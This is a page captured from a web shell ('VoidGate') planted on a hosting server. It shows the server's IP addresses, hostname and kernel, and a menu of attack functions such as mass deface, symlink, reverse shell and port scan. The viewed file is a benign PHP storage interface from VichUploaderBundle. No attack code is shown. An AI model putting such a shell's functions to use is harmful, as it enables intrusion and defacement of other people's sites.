ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
vich
/
uploader-bundle
/
src
/
Storage
/
Viewing: StorageInterface.php
<?php namespace Vich\UploaderBundle\Storage; use Vich\UploaderBundle\Mapping\PropertyMapping; /** * @author Dustin Dobervich <ddobervich@gmail.com> */ interface StorageInterface { /** * Uploads the file in the uploadable field of the specified object * according to the property configuration. * * @param object $obj The object * @param PropertyMapping $mapping The mapping representing the field to upload */ public function upload($obj, PropertyMapping $mapping): void; /** * Removes the files associated with the given mapping. * * @param object $obj The object * @param PropertyMapping $mapping The mapping representing the field to remove */ public function remove($obj, PropertyMapping $mapping): ?bool; /** * Resolves the path for a file based on the specified object * and mapping name. * * @param object|array $obj The object * @param string|null $fieldName The field to use * @param string|null $className The object's class. Mandatory if $obj can't be used to determine it * @param bool $relative Whether the path should be relative or absolute * * @return string The path */ public function resolvePath($obj, ?string $fieldName = null, ?string $className = null, ?bool $relative = false): ?string; // TODO: inconsistency - use PropertyMapping instead of fieldName+className /** * Resolves the uri based on the specified object and mapping name. * * @param object|array $obj The object * @param string|null $fieldName The field to use * @param string|null $className The object's class. Mandatory if $obj can't be used to determine it * * @return string|null The uri or null if file not stored */ public function resolveUri($obj, ?string $fieldName = null, ?string $className = null): ?string; /** * Returns a read-only stream based on the specified object and mapping name. * * @param object|array $obj The object * @param string $fieldName The field to use * @param string|null $className The object's class. Mandatory if $obj can't be used to determine it * * @return resource|null The resolved resource or null if file not stored */ public function resolveStream($obj, string $fieldName, ?string $className = null); }
Coded With 💗 by
0x6ick